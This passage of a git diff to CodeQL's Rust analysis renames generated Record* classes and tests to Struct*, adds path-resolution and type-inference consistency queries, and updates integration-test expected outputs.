 /lib/codeql/rust/elements/internal/VariantConstructor.qll linguist-generated
+/lib/codeql/rust/elements/internal/VariantDefImpl.qll linguist-generated
 /lib/codeql/rust/elements/internal/VariantListConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/VariantListImpl.qll linguist-generated
 /lib/codeql/rust/elements/internal/VisibilityConstructor.qll linguist-generated
@@ -503,6 +506,7 @@
 /lib/codeql/rust/elements/internal/generated/ConstBlockPat.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/ConstParam.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/ContinueExpr.qll linguist-generated
+/lib/codeql/rust/elements/internal/generated/Crate.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/Element.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/Enum.qll linguist-generated
@@ -567,6 +571,7 @@
 /lib/codeql/rust/elements/internal/generated/Module.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/Name.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/NameRef.qll linguist-generated
+/lib/codeql/rust/elements/internal/generated/NamedCrate.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/OffsetOfExpr.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/OrPat.qll linguist-generated
@@ -592,14 +597,6 @@
 /lib/codeql/rust/elements/internal/generated/RangeExpr.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/RangePat.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/Raw.qll linguist-generated
-/lib/codeql/rust/elements/internal/generated/RecordExpr.qll linguist-generated
-/lib/codeql/rust/elements/internal/generated/RecordExprField.qll linguist-generated
-/lib/codeql/rust/elements/internal/generated/RecordExprFieldList.qll linguist-generated
-/lib/codeql/rust/elements/internal/generated/RecordField.qll linguist-generated
-/lib/codeql/rust/elements/internal/generated/RecordFieldList.qll linguist-generated
-/lib/codeql/rust/elements/internal/generated/RecordPat.qll linguist-generated
-/lib/codeql/rust/elements/internal/generated/RecordPatField.qll linguist-generated
-/lib/codeql/rust/elements/internal/generated/RecordPatFieldList.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/RefExpr.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/RefPat.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll linguist-generated
@@ -617,6 +614,14 @@
 /lib/codeql/rust/elements/internal/generated/Stmt.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/StmtList.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/Struct.qll linguist-generated
+/lib/codeql/rust/elements/internal/generated/StructExpr.qll linguist-generated
+/lib/codeql/rust/elements/internal/generated/StructExprField.qll linguist-generated
+/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll linguist-generated
+/lib/codeql/rust/elements/internal/generated/StructField.qll linguist-generated
+/lib/codeql/rust/elements/internal/generated/StructFieldList.qll linguist-generated
+/lib/codeql/rust/elements/internal/generated/StructPat.qll linguist-generated
+/lib/codeql/rust/elements/internal/generated/StructPatField.qll linguist-generated
+/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/Synth.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/SynthConstructors.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/Token.qll linguist-generated
@@ -646,6 +651,7 @@
 /lib/codeql/rust/elements/internal/generated/UseTree.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/UseTreeList.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/Variant.qll linguist-generated
+/lib/codeql/rust/elements/internal/generated/VariantDef.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/VariantList.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/Visibility.qll linguist-generated
 /lib/codeql/rust/elements/internal/generated/WhereClause.qll linguist-generated
@@ -686,7 +692,7 @@
 /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql linguist-generated
 /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getConstArg.ql linguist-generated
 /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getGenericArgList.ql linguist-generated
-/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getNameRef.ql linguist-generated
+/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.ql linguist-generated
 /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getParamList.ql linguist-generated
 /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getRetType.ql linguist-generated
 /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getReturnTypeSyntax.ql linguist-generated
@@ -752,6 +758,7 @@
 /test/extractor-tests/generated/ContinueExpr/ContinueExpr.ql linguist-generated
 /test/extractor-tests/generated/ContinueExpr/ContinueExpr_getAttr.ql linguist-generated
 /test/extractor-tests/generated/ContinueExpr/ContinueExpr_getLifetime.ql linguist-generated
+/test/extractor-tests/generated/Crate/MISSING_SOURCE.txt linguist-generated
 /test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.ql linguist-generated
 /test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.ql linguist-generated
 /test/extractor-tests/generated/Enum/Enum.ql linguist-generated
@@ -775,7 +782,7 @@
 /test/extractor-tests/generated/ExternCrate/ExternCrate_getAttr.ql linguist-generated
 /test/extractor-tests/generated/ExternCrate/ExternCrate_getCrateOrigin.ql linguist-generated
 /test/extractor-tests/generated/ExternCrate/ExternCrate_getExtendedCanonicalPath.ql linguist-generated
-/test/extractor-tests/generated/ExternCrate/ExternCrate_getNameRef.ql linguist-generated
+/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.ql linguist-generated
 /test/extractor-tests/generated/ExternCrate/ExternCrate_getRename.ql linguist-generated
 /test/extractor-tests/generated/ExternCrate/ExternCrate_getVisibility.ql linguist-generated
 /test/extractor-tests/generated/ExternItemList/ExternItemList.ql linguist-generated
@@ -783,8 +790,8 @@
 /test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.ql linguist-generated
 /test/extractor-tests/generated/FieldExpr/FieldExpr.ql linguist-generated
 /test/extractor-tests/generated/FieldExpr/FieldExpr_getAttr.ql linguist-generated
-/test/extractor-tests/generated/FieldExpr/FieldExpr_getExpr.ql linguist-generated
-/test/extractor-tests/generated/FieldExpr/FieldExpr_getNameRef.ql linguist-generated
+/test/extractor-tests/generated/FieldExpr/FieldExpr_getContainer.ql linguist-generated
+/test/extractor-tests/generated/FieldExpr/FieldExpr_getIdentifier.ql linguist-generated
 /test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.ql linguist-generated
 /test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getAbi.ql linguist-generated
 /test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.ql linguist-generated
@@ -944,7 +951,7 @@
 /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArgList.ql linguist-generated
 /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getAttr.ql linguist-generated
 /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getGenericArgList.ql linguist-generated
-/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getNameRef.ql linguist-generated
+/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.ql linguist-generated
 /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getReceiver.ql linguist-generated
 /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getResolvedCrateOrigin.ql linguist-generated
 /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getResolvedPath.ql linguist-generated
@@ -993,7 +1000,7 @@
 /test/extractor-tests/generated/Path/PathPat_getResolvedPath.ql linguist-generated
 /test/extractor-tests/generated/Path/PathSegment.ql linguist-generated
 /test/extractor-tests/generated/Path/PathSegment_getGenericArgList.ql linguist-generated
-/test/extractor-tests/generated/Path/PathSegment_getNameRef.ql linguist-generated
+/test/extractor-tests/generated/Path/PathSegment_getIdentifier.ql linguist-generated
 /test/extractor-tests/generated/Path/PathSegment_getParenthesizedArgList.ql linguist-generated
 /test/extractor-tests/generated/Path/PathSegment_getRetType.ql linguist-generated
 /test/extractor-tests/generated/Path/PathSegment_getReturnTypeSyntax.ql linguist-generated
@@ -1001,8 +1008,8 @@
 /test/extractor-tests/generated/Path/PathSegment_getTypeRepr.ql linguist-generated
 /test/extractor-tests/generated/Path/PathTypeRepr.ql linguist-generated
 /test/extractor-tests/generated/Path/PathTypeRepr_getPath.ql linguist-generated
-/test/extractor-tests/generated/Path/Path_getPart.ql linguist-generated
 /test/extractor-tests/generated/Path/Path_getQualifier.ql linguist-generated
+/test/extractor-tests/generated/Path/Path_getSegment.ql linguist-generated
 /test/extractor-tests/generated/PrefixExpr/PrefixExpr.ql linguist-generated
 /test/extractor-tests/generated/PrefixExpr/PrefixExpr_getAttr.ql linguist-generated
 /test/extractor-tests/generated/PrefixExpr/PrefixExpr_getExpr.ql linguist-generated
@@ -1018,38 +1025,6 @@
 /test/extractor-tests/generated/RangePat/RangePat_getEnd.ql linguist-generated
 /test/extractor-tests/generated/RangePat/RangePat_getOperatorName.ql linguist-generated
 /test/extractor-tests/generated/RangePat/RangePat_getStart.ql linguist-generated
-/test/extractor-tests/generated/RecordExpr/RecordExpr.ql linguist-generated
-/test/extractor-tests/generated/RecordExpr/RecordExpr_getPath.ql linguist-generated
-/test/extractor-tests/generated/RecordExpr/RecordExpr_getRecordExprFieldList.ql linguist-generated
-/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedCrateOrigin.ql linguist-generated
-/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedPath.ql linguist-generated
-/test/extractor-tests/generated/RecordExprField/RecordExprField.ql linguist-generated
-/test/extractor-tests/generated/RecordExprField/RecordExprField_getAttr.ql linguist-generated
-/test/extractor-tests/generated/RecordExprField/RecordExprField_getExpr.ql linguist-generated
-/test/extractor-tests/generated/RecordExprField/RecordExprField_getNameRef.ql linguist-generated
-/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList.ql linguist-generated
-/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getAttr.ql linguist-generated
-/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getField.ql linguist-generated
-/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getSpread.ql linguist-generated
-/test/extractor-tests/generated/RecordField/RecordField.ql linguist-generated
-/test/extractor-tests/generated/RecordField/RecordField_getAttr.ql linguist-generated
-/test/extractor-tests/generated/RecordField/RecordField_getName.ql linguist-generated
-/test/extractor-tests/generated/RecordField/RecordField_getTypeRepr.ql linguist-generated
-/test/extractor-tests/generated/RecordField/RecordField_getVisibility.ql linguist-generated
-/test/extractor-tests/generated/RecordFieldList/RecordFieldList.ql linguist-generated
-/test/extractor-tests/generated/RecordFieldList/RecordFieldList_getField.ql linguist-generated
-/test/extractor-tests/generated/RecordPat/RecordPat.ql linguist-generated
-/test/extractor-tests/generated/RecordPat/RecordPat_getPath.ql linguist-generated
-/test/extractor-tests/generated/RecordPat/RecordPat_getRecordPatFieldList.ql linguist-generated
-/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedCrateOrigin.ql linguist-generated
-/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedPath.ql linguist-generated
-/test/extractor-tests/generated/RecordPatField/RecordPatField.ql linguist-generated
-/test/extractor-tests/generated/RecordPatField/RecordPatField_getAttr.ql linguist-generated
-/test/extractor-tests/generated/RecordPatField/RecordPatField_getNameRef.ql linguist-generated
-/test/extractor-tests/generated/RecordPatField/RecordPatField_getPat.ql linguist-generated
-/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList.ql linguist-generated
-/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getField.ql linguist-generated
-/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getRestPat.ql linguist-generated
 /test/extractor-tests/generated/RefExpr/RefExpr.ql linguist-generated
 /test/extractor-tests/generated/RefExpr/RefExpr_getAttr.ql linguist-generated
 /test/extractor-tests/generated/RefExpr/RefExpr_getExpr.ql linguist-generated
@@ -1101,6 +1076,39 @@
 /test/extractor-tests/generated/Struct/Struct_getName.ql linguist-generated
 /test/extractor-tests/generated/Struct/Struct_getVisibility.ql linguist-generated
 /test/extractor-tests/generated/Struct/Struct_getWhereClause.ql linguist-generated
+/test/extractor-tests/generated/StructExpr/StructExpr.ql linguist-generated
+/test/extractor-tests/generated/StructExpr/StructExpr_getPath.ql linguist-generated
+/test/extractor-tests/generated/StructExpr/StructExpr_getResolvedCrateOrigin.ql linguist-generated
+/test/extractor-tests/generated/StructExpr/StructExpr_getResolvedPath.ql linguist-generated
+/test/extractor-tests/generated/StructExpr/StructExpr_getStructExprFieldList.ql linguist-generated
+/test/extractor-tests/generated/StructExprField/StructExprField.ql linguist-generated
+/test/extractor-tests/generated/StructExprField/StructExprField_getAttr.ql linguist-generated
+/test/extractor-tests/generated/StructExprField/StructExprField_getExpr.ql linguist-generated
+/test/extractor-tests/generated/StructExprField/StructExprField_getIdentifier.ql linguist-generated
+/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.ql linguist-generated
+/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getAttr.ql linguist-generated
+/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.ql linguist-generated
+/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getSpread.ql linguist-generated
+/test/extractor-tests/generated/StructField/StructField.ql linguist-generated
+/test/extractor-tests/generated/StructField/StructField_getAttr.ql linguist-generated
+/test/extractor-tests/generated/StructField/StructField_getDefault.ql linguist-generated
+/test/extractor-tests/generated/StructField/StructField_getName.ql linguist-generated
+/test/extractor-tests/generated/StructField/StructField_getTypeRepr.ql linguist-generated
+/test/extractor-tests/generated/StructField/StructField_getVisibility.ql linguist-generated
+/test/extractor-tests/generated/StructFieldList/StructFieldList.ql linguist-generated
+/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.ql linguist-generated
+/test/extractor-tests/generated/StructPat/StructPat.ql linguist-generated
+/test/extractor-tests/generated/StructPat/StructPat_getPath.ql linguist-generated
+/test/extractor-tests/generated/StructPat/StructPat_getResolvedCrateOrigin.ql linguist-generated
+/test/extractor-tests/generated/StructPat/StructPat_getResolvedPath.ql linguist-generated
+/test/extractor-tests/generated/StructPat/StructPat_getStructPatFieldList.ql linguist-generated
+/test/extractor-tests/generated/StructPatField/StructPatField.ql linguist-generated
+/test/extractor-tests/generated/StructPatField/StructPatField_getAttr.ql linguist-generated
+/test/extractor-tests/generated/StructPatField/StructPatField_getIdentifier.ql linguist-generated
+/test/extractor-tests/generated/StructPatField/StructPatField_getPat.ql linguist-generated
+/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.ql linguist-generated
+/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.ql linguist-generated
+/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getRestPat.ql linguist-generated
 /test/extractor-tests/generated/TokenTree/TokenTree.ql linguist-generated
 /test/extractor-tests/generated/Trait/AssocItemList.ql linguist-generated
 /test/extractor-tests/generated/Trait/AssocItemList_getAssocItem.ql linguist-generated
@@ -1176,7 +1184,7 @@
 /test/extractor-tests/generated/Union/Union_getExtendedCanonicalPath.ql linguist-generated
 /test/extractor-tests/generated/Union/Union_getGenericParamList.ql linguist-generated
 /test/extractor-tests/generated/Union/Union_getName.ql linguist-generated
-/test/extractor-tests/generated/Union/Union_getRecordFieldList.ql linguist-generated
+/test/extractor-tests/generated/Union/Union_getStructFieldList.ql linguist-generated
 /test/extractor-tests/generated/Union/Union_getVisibility.ql linguist-generated
 /test/extractor-tests/generated/Union/Union_getWhereClause.ql linguist-generated
 /test/extractor-tests/generated/Use/Use.ql linguist-generated
@@ -1195,7 +1203,7 @@
 /test/extractor-tests/generated/Variant/Variant.ql linguist-generated
 /test/extractor-tests/generated/Variant/Variant_getAttr.ql linguist-generated
 /test/extractor-tests/generated/Variant/Variant_getCrateOrigin.ql linguist-generated
-/test/extractor-tests/generated/Variant/Variant_getExpr.ql linguist-generated
+/test/extractor-tests/generated/Variant/Variant_getDiscriminant.ql linguist-generated
 /test/extractor-tests/generated/Variant/Variant_getExtendedCanonicalPath.ql linguist-generated
 /test/extractor-tests/generated/Variant/Variant_getFieldList.ql linguist-generated
 /test/extractor-tests/generated/Variant/Variant_getName.ql linguist-generated
diff --git a/rust/ql/consistency-queries/AstConsistency.ql b/rust/ql/consistency-queries/AstConsistency.ql
index 1db4f27bef27..ed95fbe8dc51 100644
--- a/rust/ql/consistency-queries/AstConsistency.ql
+++ b/rust/ql/consistency-queries/AstConsistency.ql
@@ -5,4 +5,4 @@
  * @id rust/diagnostics/ast-consistency
  */
 
-import codeql.rust.AstConsistency
+import codeql.rust.internal.AstConsistency
diff --git a/rust/ql/consistency-queries/PathResolutionConsistency.ql b/rust/ql/consistency-queries/PathResolutionConsistency.ql
new file mode 100644
index 000000000000..368b2c1e559a
--- /dev/null
+++ b/rust/ql/consistency-queries/PathResolutionConsistency.ql
@@ -0,0 +1,8 @@
+/**
+ * @name Path resolution inconsistencies
+ * @description Lists the path resolution inconsistencies in the database.  This query is intended for internal use.
+ * @kind table
+ * @id rust/diagnostics/path-resolution-consistency
+ */
+
+import codeql.rust.internal.PathResolutionConsistency
diff --git a/rust/ql/consistency-queries/SsaConsistency.ql b/rust/ql/consistency-queries/SsaConsistency.ql
index 0764842dac37..51a5f97e9786 100644
--- a/rust/ql/consistency-queries/SsaConsistency.ql
+++ b/rust/ql/consistency-queries/SsaConsistency.ql
@@ -1,19 +1,3 @@
 import codeql.rust.dataflow.Ssa
 import codeql.rust.dataflow.internal.SsaImpl
 import Consistency
-
-class MyRelevantDefinition extends RelevantDefinition, Ssa::Definition {
-  override predicate hasLocationInfo(
-    string filepath, int startline, int startcolumn, int endline, int endcolumn
-  ) {
-    this.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn)
-  }
-}
-
-class MyRelevantDefinitionExt extends RelevantDefinitionExt, DefinitionExt {
-  override predicate hasLocationInfo(
-    string filepath, int startline, int startcolumn, int endline, int endcolumn
-  ) {
-    this.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn)
-  }
-}
diff --git a/rust/ql/consistency-queries/TypeInferenceConsistency.ql b/rust/ql/consistency-queries/TypeInferenceConsistency.ql
new file mode 100644
index 000000000000..2ca9e55e964e
--- /dev/null
+++ b/rust/ql/consistency-queries/TypeInferenceConsistency.ql
@@ -0,0 +1,8 @@
+/**
+ * @name Type inference inconsistencies
+ * @description Lists the type inference inconsistencies in the database.  This query is intended for internal use.
+ * @kind table
+ * @id rust/diagnostics/type-inference-consistency
+ */
+
+import codeql.rust.internal.TypeInferenceConsistency
diff --git a/rust/ql/integration-tests/hello-project/diagnostics.expected b/rust/ql/integration-tests/hello-project/diagnostics.expected
index 5455d51f2797..146d8514488e 100644
--- a/rust/ql/integration-tests/hello-project/diagnostics.expected
+++ b/rust/ql/integration-tests/hello-project/diagnostics.expected
@@ -1,6 +1,10 @@
 {
   "attributes": {
     "durations": {
+      "crateGraph": {
+        "ms": "__REDACTED__",
+        "pretty": "__REDACTED__"
+      },
       "extract": {
         "ms": "__REDACTED__",
         "pretty": "__REDACTED__"
diff --git a/rust/ql/integration-tests/hello-project/functions.ql b/rust/ql/integration-tests/hello-project/functions.ql
index 8d9a3213dad7..f1c18ab4a6e2 100644
--- a/rust/ql/integration-tests/hello-project/functions.ql
+++ b/rust/ql/integration-tests/hello-project/functions.ql
@@ -1,5 +1,5 @@
 import rust
 
 from Function f
-where exists(f.getLocation().getFile().getRelativePath())
+where f.fromSource()
 select f
diff --git a/rust/ql/integration-tests/hello-project/steps.cargo.expected b/rust/ql/integration-tests/hello-project/steps.cargo.expected
index 958079845eb5..4deec0653daf 100644
--- a/rust/ql/integration-tests/hello-project/steps.cargo.expected
+++ b/rust/ql/integration-tests/hello-project/steps.cargo.expected
@@ -1,4 +1,5 @@
 | Cargo.toml:0:0:0:0 | LoadManifest(Cargo.toml) |
+| file://:0:0:0:0 | CrateGraph |
 | file://:0:0:0:0 | FindManifests |
 | src/directory_module/mod.rs:0:0:0:0 | Extract(src/directory_module/mod.rs) |
 | src/directory_module/mod.rs:0:0:0:0 | LoadSource(src/directory_module/mod.rs) |
diff --git a/rust/ql/integration-tests/hello-project/steps.rust-project.expected b/rust/ql/integration-tests/hello-project/steps.rust-project.expected
index 3ebf60a82de0..fa790e6cd7fd 100644
--- a/rust/ql/integration-tests/hello-project/steps.rust-project.expected
+++ b/rust/ql/integration-tests/hello-project/steps.rust-project.expected
@@ -1,3 +1,4 @@
+| file://:0:0:0:0 | CrateGraph |
 | file://:0:0:0:0 | FindManifests |
 | rust-project.json:0:0:0:0 | LoadManifest(rust-project.json) |
 | src/directory_module/mod.rs:0:0:0:0 | Extract(src/directory_module/mod.rs) |
diff --git a/rust/ql/integration-tests/hello-project/summary.expected b/rust/ql/integration-tests/hello-project/summary.expected
index 2ffb1f4e34f7..1dd49972c22b 100644
--- a/rust/ql/integration-tests/hello-project/summary.expected
+++ b/rust/ql/integration-tests/hello-project/summary.expected
@@ -1,4 +1,4 @@
-| Elements extracted | 66 |
+| Elements extracted | 67 |
 | Elements unextracted | 0 |
 | Extraction errors | 0 |
 | Extraction warnings | 1 |
@@ -8,13 +8,14 @@
 | Files extracted - without errors % | 80 |
 | Inconsistencies - AST | 0 |
 | Inconsistencies - CFG | 0 |
+| Inconsistencies - Path resolution | 0 |
 | Inconsistencies - data flow | 0 |
 | Lines of code extracted | 6 |
 | Lines of user code extracted | 6 |
 | Macro calls - resolved | 2 |
 | Macro calls - total | 2 |
 | Macro calls - unresolved | 0 |
-| Taint edges - number of edges | 1670 |
+| Taint edges - number of edges | 1674 |
 | Taint reach - nodes tainted | 0 |
 | Taint reach - per million nodes | 0 |
 | Taint sinks - cryptographic operations | 0 |
diff --git a/rust/ql/integration-tests/hello-workspace/diagnostics.cargo.expected b/rust/ql/integration-tests/hello-workspace/diagnostics.cargo.expected
index af11fd2f2e8e..9429dada005e 100644
--- a/rust/ql/integration-tests/hello-workspace/diagnostics.cargo.expected
+++ b/rust/ql/integration-tests/hello-workspace/diagnostics.cargo.expected
@@ -1,6 +1,10 @@
 {
   "attributes": {
     "durations": {
+      "crateGraph": {
+        "ms": "__REDACTED__",
+        "pretty": "__REDACTED__"
+      },
       "extract": {
         "ms": "__REDACTED__",
         "pretty": "__REDACTED__"
diff --git a/rust/ql/integration-tests/hello-workspace/diagnostics.rust-project.expected b/rust/ql/integration-tests/hello-workspace/diagnostics.rust-project.expected
index af11fd2f2e8e..9429dada005e 100644
--- a/rust/ql/integration-tests/hello-workspace/diagnostics.rust-project.expected
+++ b/rust/ql/integration-tests/hello-workspace/diagnostics.rust-project.expected
@@ -1,6 +1,10 @@
 {
   "attributes": {
     "durations": {
+      "crateGraph": {
+        "ms": "__REDACTED__",
+        "pretty": "__REDACTED__"
+      },
       "extract": {
         "ms": "__REDACTED__",
         "pretty": "__REDACTED__"
diff --git a/rust/ql/integration-tests/hello-workspace/exe/src/main.rs b/rust/ql/integration-tests/hello-workspace/exe/src/main.rs
index 3c46784465ab..ea26a90c3192 100644
--- a/rust/ql/integration-tests/hello-workspace/exe/src/main.rs
+++ b/rust/ql/integration-tests/hello-workspace/exe/src/main.rs
@@ -1,7 +1,7 @@
-use lib::a_module::hello;
+use lib::a_module::hello; // $ item=HELLO
 
 mod a_module;
 
 fn main() {
-    hello();
+    hello(); // $ item=HELLO
 }
diff --git a/rust/ql/integration-tests/hello-workspace/functions.ql b/rust/ql/integration-tests/hello-workspace/functions.ql
index 8d9a3213dad7..f1c18ab4a6e2 100644
--- a/rust/ql/integration-tests/hello-workspace/functions.ql
+++ b/rust/ql/integration-tests/hello-workspace/functions.ql
@@ -1,5 +1,5 @@
 import rust
 
 from Function f
-where exists(f.getLocation().getFile().getRelativePath())
+where f.fromSource()
 select f
diff --git a/rust/ql/integration-tests/hello-workspace/lib/src/a_module/mod.rs b/rust/ql/integration-tests/hello-workspace/lib/src/a_module/mod.rs
index fda8464098ec..dca921ab6432 100644
--- a/rust/ql/integration-tests/hello-workspace/lib/src/a_module/mod.rs
+++ b/rust/ql/integration-tests/hello-workspace/lib/src/a_module/mod.rs
@@ -1,3 +1,3 @@
 pub fn hello() {
     println!("Hello, world!");
-}
+} // HELLO
diff --git a/javascript/ql/test/query-tests/Security/CWE-073/Consistency.expected b/rust/ql/integration-tests/hello-workspace/path-resolution.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-073/Consistency.expected
rename to rust/ql/integration-tests/hello-workspace/path-resolution.expected
diff --git a/rust/ql/integration-tests/hello-workspace/path-resolution.ql b/rust/ql/integration-tests/hello-workspace/path-resolution.ql
new file mode 100644
index 000000000000..bf0a548fbb68
--- /dev/null
+++ b/rust/ql/integration-tests/hello-workspace/path-resolution.ql
@@ -0,0 +1 @@
+import utils.test.PathResolutionInlineExpectationsTest
diff --git a/rust/ql/integration-tests/hello-workspace/rust-project.json b/rust/ql/integration-tests/hello-workspace/rust-project.json
index c8461b098bd8..d8c73fa41b6d 100644
--- a/rust/ql/integration-tests/hello-workspace/rust-project.json
+++ b/rust/ql/integration-tests/hello-workspace/rust-project.json
@@ -2,14 +2,23 @@
   "sysroot_src": "filled by the rust_project fixture",
   "crates": [
     {
+      "display_name": "exe",
+      "version": "0.1.0",
       "root_module": "exe/src/main.rs",
       "edition": "2021",
-      "deps": [{"crate": 1, "name": "lib"}]
+      "deps": [
+        {
+          "crate": 1,
+          "name": "lib"
+        }
+      ]
     },
     {
+      "display_name": "lib",
+      "version": "0.1.0",
       "root_module": "lib/src/lib.rs",
       "edition": "2021",
       "deps": []
     }
   ]
-}
+}
\ No newline at end of file
diff --git a/rust/ql/integration-tests/hello-workspace/steps.cargo.expected b/rust/ql/integration-tests/hello-workspace/steps.cargo.expected
index a2f125948098..32a3b1110247 100644
--- a/rust/ql/integration-tests/hello-workspace/steps.cargo.expected
+++ b/rust/ql/integration-tests/hello-workspace/steps.cargo.expected
@@ -5,6 +5,7 @@
 | exe/src/main.rs:0:0:0:0 | Extract(exe/src/main.rs) |
 | exe/src/main.rs:0:0:0:0 | LoadSource(exe/src/main.rs) |
 | exe/src/main.rs:0:0:0:0 | Parse(exe/src/main.rs) |
+| file://:0:0:0:0 | CrateGraph |
 | file://:0:0:0:0 | FindManifests |
 | lib/src/a_module/mod.rs:0:0:0:0 | Extract(lib/src/a_module/mod.rs) |
 | lib/src/a_module/mod.rs:0:0:0:0 | LoadSource(lib/src/a_module/mod.rs) |
diff --git a/rust/ql/integration-tests/hello-workspace/steps.rust-project.expected b/rust/ql/integration-tests/hello-workspace/steps.rust-project.expected
index c0958b56523e..e9a65e0c7be5 100644
--- a/rust/ql/integration-tests/hello-workspace/steps.rust-project.expected
+++ b/rust/ql/integration-tests/hello-workspace/steps.rust-project.expected
@@ -4,6 +4,7 @@
 | exe/src/main.rs:0:0:0:0 | Extract(exe/src/main.rs) |
 | exe/src/main.rs:0:0:0:0 | LoadSource(exe/src/main.rs) |
 | exe/src/main.rs:0:0:0:0 | Parse(exe/src/main.rs) |
+| file://:0:0:0:0 | CrateGraph |
 | file://:0:0:0:0 | FindManifests |
 | lib/src/a_module/mod.rs:0:0:0:0 | Extract(lib/src/a_module/mod.rs) |
 | lib/src/a_module/mod.rs:0:0:0:0 | LoadSource(lib/src/a_module/mod.rs) |
diff --git a/rust/ql/integration-tests/hello-workspace/summary.cargo.expected b/rust/ql/integration-tests/hello-workspace/summary.cargo.expected
index d08ce1a41166..baaba2837e7b 100644
--- a/rust/ql/integration-tests/hello-workspace/summary.cargo.expected
+++ b/rust/ql/integration-tests/hello-workspace/summary.cargo.expected
@@ -1,4 +1,4 @@
-| Elements extracted | 86 |
+| Elements extracted | 90 |
 | Elements unextracted | 0 |
 | Extraction errors | 0 |
 | Extraction warnings | 0 |
@@ -8,13 +8,14 @@
 | Files extracted - without errors % | 100 |
 | Inconsistencies - AST | 0 |
 | Inconsistencies - CFG | 0 |
+| Inconsistencies - Path resolution | 0 |
 | Inconsistencies - data flow | 0 |
 | Lines of code extracted | 9 |
 | Lines of user code extracted | 9 |
 | Macro calls - resolved | 2 |
 | Macro calls - total | 2 |
 | Macro calls - unresolved | 0 |
-| Taint edges - number of edges | 1670 |
+| Taint edges - number of edges | 1674 |
 | Taint reach - nodes tainted | 0 |
 | Taint reach - per million nodes | 0 |
 | Taint sinks - cryptographic operations | 0 |
diff --git a/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected b/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected
index d08ce1a41166..baaba2837e7b 100644
--- a/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected
+++ b/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected
@@ -1,4 +1,4 @@
-| Elements extracted | 86 |
+| Elements extracted | 90 |
 | Elements unextracted | 0 |
 | Extraction errors | 0 |
 | Extraction warnings | 0 |
@@ -8,13 +8,14 @@
 | Files extracted - without errors % | 100 |
 | Inconsistencies - AST | 0 |
 | Inconsistencies - CFG | 0 |
+| Inconsistencies - Path resolution | 0 |
 | Inconsistencies - data flow | 0 |
 | Lines of code extracted | 9 |
 | Lines of user code extracted | 9 |
 | Macro calls - resolved | 2 |
 | Macro calls - total | 2 |
